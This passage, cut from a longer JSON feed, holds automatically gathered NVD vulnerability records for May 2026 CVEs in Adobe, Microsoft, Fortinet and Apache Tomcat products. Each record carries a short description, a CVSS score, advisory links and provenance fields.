CVE-2026-34639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34639","type":"primary","publishedAt":"2026-05-12T18:17:10.320Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34638","cveId":"CVE-2026-34638","aliases":[],"kind":"vulnerability","title":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:10.190Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"premiere pro","stacks":["Adobe","premiere pro"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34638","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34638","type":"primary","publishedAt":"2026-05-12T18:17:10.190Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34637","cveId":"CVE-2026-34637","aliases":[],"kind":"vulnerability","title":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...","summary":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:10.070Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"premiere pro","stacks":["Adobe","premiere pro"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34637","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34637","type":"primary","publishedAt":"2026-05-12T18:17:10.070Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34636","cveId":"CVE-2026-34636","aliases":[],"kind":"vulnerability","title":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...","summary":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:09.917Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"premiere pro","stacks":["Adobe","premiere pro"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34636","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34636","type":"primary","publishedAt":"2026-05-12T18:17:09.917Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34332","cveId":"CVE-2026-34332","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network.","summary":"Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network.","detail":"Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:07.127Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2025","stacks":["Microsoft Windows","windows server 2025"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34332","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34332","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34332","type":"primary","publishedAt":"2026-05-12T18:17:07.127Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33833","cveId":"CVE-2026-33833","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing...","summary":"Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing over a network.","detail":"Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:05.160Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"azure machine learning","stacks":["Microsoft Azure","azure machine learning"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33833","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33833","type":"primary","publishedAt":"2026-05-12T18:17:05.160Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33821","cveId":"CVE-2026-33821","aliases":[],"kind":"vulnerability","title":"Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network.","summary":"Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network.","detail":"Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:04.410Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"dynamics 365 customer insights","stacks":["Microsoft Office","dynamics 365 customer insights"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33821","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33821","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33821","type":"primary","publishedAt":"2026-05-12T18:17:04.410Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33112","cveId":"CVE-2026-33112","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:03.687Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33112","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33112","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33112","type":"primary","publishedAt":"2026-05-12T18:17:03.687Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33110","cveId":"CVE-2026-33110","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:03.497Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33110","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33110","type":"primary","publishedAt":"2026-05-12T18:17:03.497Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32204","cveId":"CVE-2026-32204","aliases":[],"kind":"vulnerability","title":"External control of file name or path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.","summary":"External control of file name or path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.","detail":"External control of file name or path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:00.620Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"azure monitor agent","stacks":["Microsoft Azure","azure monitor agent"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32204","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32204","type":"primary","publishedAt":"2026-05-12T18:17:00.620Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-25088","cveId":"CVE-2026-25088","aliases":[],"kind":"vulnerability","title":"An improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiNDR 7.6.0 through 7.6.2, FortiNDR 7.4.0 through 7.4.9,...","summary":"An improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiNDR 7.6.0 through 7.6.2, FortiNDR 7.4.0 through 7.4.9, FortiNDR 7.2 all versions, FortiNDR 7.1 all versions, FortiNDR 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via  specifically crafted HTTP requests.","detail":"An improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiNDR 7.6.0 through 7.6.2, FortiNDR 7.4.0 through 7.4.9, FortiNDR 7.2 all versions, FortiNDR 7.1 all versions, FortiNDR 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via  specifically crafted HTTP requests.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:16:39.327Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"fortinet","product":"fortindr","stacks":["Fortinet","fortindr"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-25088","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-25088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25088","type":"primary","publishedAt":"2026-05-12T18:16:39.327Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://fortiguard.fortinet.com/psirt/FG-IR-26-134","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43513","cveId":"CVE-2026-43513","aliases":[],"kind":"vulnerability","title":"Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.","summary":"Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.\nOlder unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.","detail":"Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.\nOlder unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T16:16:18.177Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apache","product":"tomcat","stacks":["Apache Tomcat","tomcat"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43513","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43513","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43513","type":"primary","publishedAt":"2026-05-12T16:16:18.177Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://lists.apache.org/thread/ytjcgldshj73lcnd1sh95od5hrghwogp","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42498","cveId":"CVE-2026-42498","aliases":[],"kind":"vulnerability","title":"Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.","summary":"Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.","detail":"Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T16:16:17.800Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apache","product":"tomcat","stacks":["Apache Tomcat","tomcat"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42498","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42498","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42498","type":"primary","publishedAt":"2026-05-12T16:16:17.800Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://lists.apache.org/thread/n61zwf75jrv09rz90j4jssncm244bwdb","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41284","cveId":"CVE-2026-41284","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.","summary":"Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.\nOlder, unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in 